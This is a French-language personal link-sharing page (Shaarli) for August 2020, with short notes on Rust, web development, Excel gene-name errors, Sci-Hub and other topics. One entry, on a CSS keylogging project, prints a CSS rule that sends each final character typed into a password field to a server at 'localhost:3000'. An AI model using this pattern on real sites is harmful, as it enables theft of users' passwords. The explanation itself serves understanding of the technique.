Monthly Shaarli

All links of one month in a single page.

August, 2020

Hashing passwords on the server-side, a dead end? | by Nicolas Grekas | Noteworthy - The Journal Blog
Optimization: How I made my PHP code run 100 times faster – Mike's Software Blog

(shared by Arthur HOARO's links)

10kb.site

The description speak for the service itself :

10kb.site is a write-only public text server.
You can upload any text you want at any file
path, as long as it's less than 10kb.

Files can never be changed or updated (except this one).
Files are deleted after 1 day.

(shared by Arthur HOARO's links)

freeicons.io - Free icons and vector icons - Free SVG, PSD, PNG, EPS, Ai & Icon Font
Alexandra Elbakyan, la pirate des publications scientifiques – The Sound Of Science

La créatrice de Sci-Hub qui a sauvé beaucoup de PhD.

Plus sérieusement, les (Elsevir, ) ont des prix d'accès aux documents exhorbitants (cf: l'article). Rendre le tout accessible gratuitement est très important, et d'utilité publique. Même si elle a des ennuis avec la justice américaine, cela n'empêche qu'elle sert l'utilité publique !

L’université Clermont Auvergne a vu, par exemple, sa facture auprès du principal éditeur scientifique, Elsevier, passer de 382 000 euros en 2011 à 580 000 euros en 2016.

Alors qu'Internet et le dématérialisé se développe de plus en plus... Il y a anguille sous roche

Wikipédia:Pastiches/Une femme — Wikipédia

La biographie complète et en temps réel d'Une Femme

Fuzzing - Wikipedia

Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks.

Excalibur.js HTML5 Game Engine
Two Beautiful Rust Programs
Introduction · Yew Docs

A Rust framework used to build web Applications. Detailed in the blog post of sheshbabu

Liferea trick #2: drag and drop urls | Liferea Blog

Cool tips ! The other ones are useful too 😄

Note: Installer Zotero LibreOffice Plugin sur Ubuntu/Debian

La page de documentation indique comment résoudre le problème :

  • il faut aller dans le dossier du programme Zotero (/opt/zotero ou /usr/lib/zotero à ma connaissance)
  • puis aller dans extensions/zoteroOpenOfficeIntegration@zotero.org/install
  • exécuter Zotero_OpenOffice_Integration.oxt

Voilà.... 🎉

Wörter oder Worte? Wann verwendet man was? | Wortladen

Wörter : lorsqu'il s'agit d'un nombre précis de mots, dénobrable
Worte : lorsque le pluriel est général, désigne un groupe abstrait de mots

Wörter bestehen aus Buchstaben, Worte aus Gedanken.

The 88x31 GIF Collection | Part 1

A website that regroup all 88x31 gifs

EricaJoy on Twitter: "😘🧖🏾‍♀️💖 @OlaySkin https://t.co/HL6rsSVZ2A" / Twitter

Le code python écrit :

def LetsFaceIt(gender, ethnicity):
  try:
    if (gender != "Male")
      chanceOfSTEMJob = "24%"
      if (ethnicity != "White" and ethnicity != "Asian"):
        chanceOfSTEMJob = "5%"
  except:
    logging.error("This is the STEM gap")
  return chanceOfSTENJob
Comment bien chercher sur Google ?

Ok lorsque la recherche doit être ultra-précise. DuckDuckGo propose aussi d'affiner et de mieux contrôler ses recherches.

I am a Mozilla employee, AMAA - ~tech - Tildes

Not related to Mozilla, but a Q&A from an employee.

However, Google is an organization that excels at taking individual, seemingly-benevolent units of work and then combining them into things that are anti-competitive or just plain evil.

🔪

Un mindset pour aller plus vite [YouTube] - Je suis un dev

Évidemment que la qualité c’est important, évidemment que tu dois t’en préoccupé et évidemment tu dois déployer des applications de production qui sont de qualité. Évidemment ! Mais le problème de la qualité c’est que ça prend du temps. [...] la qualité c’est ton objectif, pas ton point de départ

Je me retrouves tellement dans les paragraphes suivants !!!

À chaque fois qu’on me demande quelque chose que ce soit un projet entier ou juste une petite tache isolée ce que je fais c’est que je me concentre sur le problème principal. Quel est le problème principal ? Comment je peux réduire le problème pour avoir juste le coeur du problème, le coeur de ce que je dois résoudre en fait.

Je me concentre dessus et je le fais fonctionner le plus rapidement possible, sans me préoccuper de la qualité, pas tout de suite ! Je ne pense pas à ou est-ce que ça va être, je pense pas comment ça va être, je pense pas à comment je vais l’intégrer avec tout un système, je pense à d’abord régler le plus petit problème.

Et je pourrais citer toutes la partie Make it work en fait 💬

Une fois que le prototype marche, écrire les tests et refactoriser/réécrire pour que ce sois de la qualité 👍

How to Stick with Rust - DEV

Damn. I must keep some time to learn Rust, definitively.

If your goal is to learn Rust, you will likely fail because the return on investment is too low.

Ok go for learning by examples with espanso !

Performance tip: constructing many non-trivial objects is slow – Daniel Lemire's blog

Recommendation: In performance-sensitive code, you should avoid creating or copying thousands or millions of non-trivial objects.

In javascript, it is sometimes hard to avoid that 😞

Qu'est-ce qu'une crédence ?
iLovePDF | Online PDF tools for PDF lovers

Avec aussi AvePDF

Quelle est la différence entre une rue et une avenue ?

Effectivement, ce blog rentre direct dans les flux RSS 😄
(shared by https://lehollandaisvolant.net/?id=20200810165233)

Text-Shadow Anti-Aliasing | Philip Renich, Websites - blog

text-shadow: 0 0 1px rgba(0,0,0,0.3);

Sylvain, cheminot on Twitter: "C’est une bonne idée ça ! https://t.co/EIHsny4XDS" / Twitter

Faire le geste du bonjour international ❤️

Rewritten in Rust: Modern Alternatives of Command-Line Tools · zaiste.net
GitHub - rust-unofficial/awesome-rust: A curated list of Rust code and resources.

For web development: https://github.com/rust-unofficial/awesome-rust#web-programming

Also the list of resources contains great resources to learn: https://github.com/rust-unofficial/awesome-rust#resources

Go vs Rust: Writing a CLI tool - cuchi.me

Feedback on using both languages :)

Les jardiniers amateurs ont désormais le droit d'acheter des semences paysannes
Yes Or No? yesno.wtf — foolproof™ decision-making (api available)
Free Icons for Everything - Noun Project
Measure

Run an audit on your website to evaluate your site's performance, accessibility, and SEO

Code review – from good to great – Eduards Sizovs
Blog Stéphane Bortzmeyer: RFC 4253: The Secure Shell (SSH) Transport Layer Protocol
A crash course in just in time JIT compilers

Ok 👍 Cool to know !

Boursorama Banque fuite vos données de connexion | Pixel de tracking

Donc il y a une faille de sécurité qui peut être comblée par un adBlocker, mais le site interdit les AdBlocker et propose même un guide pour les désactiver...
(via https://orangina-rouge.org/shaarli/?JAsiyA)

Fresh Background Gradients | WebGradients.com 💎

A list of beautiful background gradient 🌈

Home | Laws of UX

A list of 20 laws in UX

FINO - Wikipedia

First-In, Never-Out

maxchehab/CSS-Keylogging: Chrome extension and Express server that exploits keylogging abilities of CSS.

Malin ! Un keylogger en CSS !

En fait un script génère pour tous les caractères ASCII, l'instruction CSS suivante :

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Qui signifie que pour les champs de type password dont la valeur se termine par a, on va effectuer une requête externe vers un serveur avec la lettre a. On fait ça pour tous les caractères et hop on a le mot de passe.

(via https://links.hoa.ro/shaare/689gzA, via https://bookmarks.ecyseo.net/?cymp8g)

cpu load - tracker-store and tracker-miner-fs eating up my CPU on every startup - Ask Ubuntu

Whoops. That was my problem on Ubuntu 20.04 🤔

Teresa Lee 🏳️‍🌈 on Twitter: "rich people hate taxes, so i propose we rebrand the wealth tax and instead call it "dues" or "membership fee" and then when someone pays over $1 billion in taxes we send them a shiny black card that says "government recognized billionaire". this will work." / Twitter

rich people hate taxes, so i propose we rebrand the wealth tax and instead call it "dues" or "membership fee" and then when someone pays over $1 billion in taxes we send them a shiny black card that says "government recognized billionaire". this will work.

Oh Yes :D

Working with strings in Rust - fasterthanli.me
Survey of Technologies for Web ApplicationDevelopment - 0801.2618.pdf
I am a Java, C#, C or C++ developer, time to do some Rust - fasterthanli.me

Well-explained ! It takes some times to read it, but some concepts are clear at the end 💡

Who Builds the Builder?

if you have Foo and FooBuilder, consider adding a builder method to Foo

that returns the Builder of course

software installation - How to install zotero in ubuntu? - Ask Ubuntu
Microservices

Pep talk to use microservices 🤣

Mais qui a eu cette idée folle de désactiver le pavé numérique au démarrage ? - tutox.fr
Existential types in Rust | varkor’s blog

About impl Trait

Google is down: Users facing issues on Gmail, Google Drive, and more | 91mobiles.com

The problem of centralized services : when they are down, everything is down

Clé Torx — Wikipédia

Je ne savais pas ce qu'est cette vis présente sur les freins à disque du VTT. Eh bien Wikipédia réponds à la question :)

akaAgar/vocabulaire-francais: Une énorme table de substantifs et adjectifs français triés par genre et par nombre.

(via Riduidel)

Things I Have Learned About Life

What I now hold as the most important thing in romantic relations is a very clear, direct and honest communication.

Quelle est la différence entre un manoir et un château ?
(1) BricoZouz on Twitter: "Tentée de mettre en place une morning routine pour avoir le temps de faire tout ce que j’ai à faire mais j’aime dormir et j’aime pas le concept capitaliste de rendre mon existence rentable" / Twitter

Comments are well written too :)

LibreOffice 7: Now more Microsoft-compatible -- and still free | ZDNet

So the desktop office suite is now only updated online. The last version for Desktops is the 2019 and won't change.

It gives a free way for LibreOffice 💪
The version 7.0 has better compatibility with .docx, .xlsx, and .pptx files

blogwerx: The Rust compiler isn't slow; we are.
Blog Stéphane Bortzmeyer: L'Internet, ça ne marche pas de partout

Une étude de cas du site http://cetic.dz/ qui était inaccessible à certains endroit géographique, dépendant de l'AS!

Android : Extraire des APK - Liens en vrac de sebsauvage
How Vuex works and how I used it wrong – Marina Aisa

Remember that Vuex makes sense if the code is reused or if there are distant components that need to communicate.

I want to contribute to your project, how do I start? | Drew DeVault’s Blog

So, if you want to contribute to open-source — as a whole — here are my tips:

  • Find problems which you are intrinsically motivated to work on.
  • Focus on developing skills to get up to speed on new codebases fast.
  • Don’t be afraid to work on any project — new languages, tools, libraries; learn enough of them and it’ll only get easier to learn more.
  • When you file bug reports with a FOSS project, get into the habit of following up with a patch which addresses the problem.
  • Get used to introducing yourself to maintainers and talking through the code; it always pays to ask.
Firefox Voice – Comment contrôler Firefox à la voix – Korben

L'extension en bêta permet de piloter le navigateur à la voix !

Comprendre la mémoïsation en 5 minutes - Je suis un dev
vscodium/DOCS.md at master · VSCodium/vscodium · GitHub

To use the marketplace extension for Microsoft, we need to edit the product.json file located in the installation directory:

  • on MacOS: /System/Volumes/Data/Applications/VSCodium.app/Contents/Resources/app/product.json
  • on Linux: /usr/share/codium/resources/app/product.json
    "extensionsGallery": {
    "serviceUrl": "https://marketplace.visualstudio.com/_apis/public/gallery",
    "cacheUrl": "https://vscode.blob.core.windows.net/gallery/index",
    "itemUrl": "https://marketplace.visualstudio.com/items",
    "controlUrl": "",
    "recommendationsUrl": ""
    },

    Check the link for more.

With the installation of codium with snap, the files are read-only; so it is not possible to change the product.json. The workaround is to install the .deb package.

Les formations intensives - Get rich or dev tryin'
OpenStreetMap - Liens en vrac de sebsauvage
Scientists rename human genes to stop Microsoft Excel from misreading them as dates - The Verge

Microsoft Excel fait de la merde, en essayant d'interpréter "intelligemment" ce que vous entrez dans les cases.
Le résultat: Quand les scientifiques entrent un site génomique comme MARCH1 (“Membrane Associated Ring-CH-Type Finger 1”), Excel le convetit en date: "1er mars".

QUE FAIRE ??? Changer de logiciel ? Configurer correctement le type des colonnes ?

Non plus simple: Changer le nom de la séquence génomique au niveau international, bien sûr !
Donc MARCH1 deviendra MARCHF1, et SETP1 deviendra SEPTIN1 juste pour qu'Excel ne foute pas sa merde.

facepalm

(via https://sebsauvage.net/links/?OmqAZA)

Un article de numerama à ce sujet

Comprendre les algorithmes de parcours en 8 minutes - Je suis un dev
De l'eau en vrac dans les magasins pour remplacer les bouteilles en plastique | Le Penthièvre

Ça s'apelle un robinet 🤣
Oh wait ! À quand les céréales, les jus de fruits et le reste en vrac ? Parce que si l'eau, pourquoi pas le reste ?

Thread by @jonathansampson: "Curious what happens when you fire up a web browser for the first time? Me too. I often do this for @brave to make sure things are staying n […]"

Opera 🗑

DIABLO

This is a web port of the original Diablo game

WTF ! 😍

Limus – Vos captures écrans vues sous un nouvel angle – Korben

Limus permet de faire pivoter votre image dans tous les sens, d’ajouter une ombre, d’arrondir les coins, et même mettre une jolie couleur de fond ou une image de votre choix…etc

The first GUIs
bletchley punk is a fullmetal engineer on Twitter: "having the humility to admit you don't know something and the stamina to then figure it out is, in my opinion, one of the marks of an excellent engineer I do my best work when surrounded by such people" / Twitter

This will be better for everyone :)

Réflexion du jour - Liens en vrac de sebsauvage

Réflexion personnelle :

Voir des gens qui s'esbaudient devant WSL en disant "oh c'est beau regardez Microsoft créé des ponts vers Linux" alors que depuis plus de 10 ans y'a les équipes de ffmpeg/VLC, Samba, Wine, LibreOffice qui se torturent les méninges en reverse-enginerring pour créer des ponts vers la forteresse Windows que Microsoft défend jalousement.

Comment dire... Ça me fait rire jaune.

(PS: je rappelle que Microsoft a menacé des développeurs en logiciel libre qui avaient créé une lib compatible Skype.)

Rust modules vs files - fasterthanli.me
Comment utiliser Firefox Relay ? – Korben

Firefox Relay est un outil semblable à DropMail, Yopmail, etc... ; ce sont des boîtes mails jetables.
La particularité de Firefox Relay est de pouvoir transmettre les messages à la boite mail principale.

Comprendre la récursivité en 7 min - Je suis un dev
npm7 bêta - Je suis un dev

J'ai pas compris les Workspaces 😅 Il y a le RFC correspondant sur Github qui explique bien la chose !

Mais on a :

  • des commandes plus rapides avec l'utilisation d'un cache
  • le moyen de déclarer que plusieurs modules dépendent d'une seule même version d'un module : les peerDependencies
  • la logiqe d'installation des dépendances est un module @npmcli/arborist
  • npx est intégré à npm via la commande `npm exec
The Golden Rule of Generics

Rule: If a type parameter only appears in one location, strongly reconsider if you actually need it.

Name As If Your Life Depends On It: A Guide To Clean Code - Delivery Doubled

So there is four stages of quality for each name :

  • Nonsense : For example, we might extract a method from a larger one and quickly rename it somethingWhatever() to get the refactor done and the tests passing.
  • Accurate : We rename the nonsense method to what it actually does, such as processPayroll()
  • Precise : Once we realise what the method really does, we might refine the accurate name and give it more precision, such as loopThroughEmployeesAndPayThem().
  • Meaningful : At this point, we’ve revealed the complexity of the method, and can look to split it up into two methods: forEachEmployee() and perhaps a payWages() method on a separate interface.

I always use at least accurate names, because it helps me even during the development process. Something I tend to is to use meaningful names and thus creating a lot of functions 😅
I dislike the precise one as it looks as a function that need to be changed, because of doing to much things. At least, this reveals the complexity behind the name.

Practical Use Cases for JavaScript’s closest() Method | CSS-Tricks
Goodhart's law - Wikipedia

"When a measure becomes a target, it ceases to be a good measure." → when the test coverage start to be a target, the quality of the test drops ?

How To Become A Hacker
20080401_Leitfaden_Gleichstellung_Sprache_080526.pdf
  • Verzicht auf ständige Wiederholung von Personenbezeichnungen,
  • Veränderter Satzaufbau
  • Geschlechtsneutral verwendete Substantive: der Berater → eine beratende Person
  • Verzicht auf parallele Possessivpronomen: Die Bediensteten dürfen in der Ausübung des Wahlrechts oder in der Wählbarkeit nicht beschränkt werden.
  • Unbestimmte Fürworte: Wer, alle, niemand
  • Pluralformen von substantivierten Partizipien und Adjektiven
  • Passivische Konstruktion ❤️ → der
Byron/gitoxide: An idiomatic, modern, lean, fast, safe & pure rust implementation of git

Git more user-friendly and rewritten in Rust. Mhmhmh OK, something to follow and see where it goes.

La bibliothèque d'Alexandrie - jeretiens.net
Pas sous mon nom public – Carnet de notes

De l'utilité du pseudonyme, avec de nombreux exemples

Numéro "anti-relous" : une solution pour échapper aux dragueurs trop insistants

07 80 99 37 34

Hahaha excellent !

Meili raises 1.5M€ for open source search in Rust

MeiliSearch seems to be a promising tool !

Bernard Stiegler : «Même s’ils le voulaient, les Etats n’auraient pas les concepts pour changer» - Libération

L’entropie définit la dissipation de l’énergie : contrairement à l’énoncé «rien ne se perd, rien ne se crée, tout se transforme», il y a dans l’univers des pertes d’énergie. Donc, l’univers aura une fin, son refroidissement. Vient alors l’entropie négative, ou néguentropie : la capacité à différer dans le temps la dissipation de l’énergie.

Gene name errors are widespread in the scientific literature | Genome Biology | Full Text

Quand on entre certains trucs dans un case Excel, ce dernier essaye d'interpréter ça : si vous mettez "SEPT2", il convertira ça en "01/09/2002", car il pense que vous avez voulu dire "Septembre 02".

Alors on peut forcer le format d'une cellule, ou alors taper une apostrophe devant le texte qu'on met, et ça affichera exactement ce que vous mettez (hormis l'apostrophe). Sauf que... Si l'on exporte les données en CSV ou TSV, cette mise en forme est perdue et il suffit de réimporter les données pour que la conversion occurre de nouveau.

Ceci pose de gros problèmes quand ce que vous rentrez doit être SEPT2, ou MARCH1 et rien d'autre. En l’occurrence, ces deux chaînes de caractères correspondes à des abréviations de noms de gènes bien précis.
Étant donnée que Excel est utilisé partout, cette étude (lien) a détecté qu'environ 19,6 % des publications analysées et sur la génétique présentaient ce genre d'erreurs : les fichiers de données sont enregistrées, puis rouvert par les chercheurs ou les éditeurs et sans faire gaffe on se retrouve avec des conversions dans les tableaux.

Maintenant, est-ce que Excel va corriger le problème ? Probablement pas.
A la place, la communauté scientifique s'invite à modifier les noms (pratiquement standardisés) des gènes. Merveilleux.

Combien de futures études ou futures méta-études seront faussées car ils chercheront le nouveau nom et pas l'ancien ? Un paquet, j'imagine, surtout dans 5 ou 10 ans quand on aura oublié ce changement...

Libre Office, ou même le vieil Open Office, n'ont pas ce problème : les conversions n'y sont pas automatiques et il faut expressément demander au programme de faire une conversion.

(Merci Yves pour le lien !)

(shared by le hollandais volant)

Pure CSS Custom Checkbox Style | Modern CSS Solutions

A nice code snippet here :

.checkbox__input {
  display: grid;
  grid-template-areas: "checkbox";

  > * {
    grid-area: checkbox;
  }
}

This will put all children in the same area; and will behave as a position: absolute, but with the power of Grid

Je donne mon téléphone

Redonner une seconde vie à son téléphone
(via https://sebsauvage.net/links/?lV3sqg)

FontSpark | Discover Better Fonts
TikTok: Logs, Logs, Logs. We are in 2020 and the US president is… | by Elliot Alderson | Aug, 2020 | Medium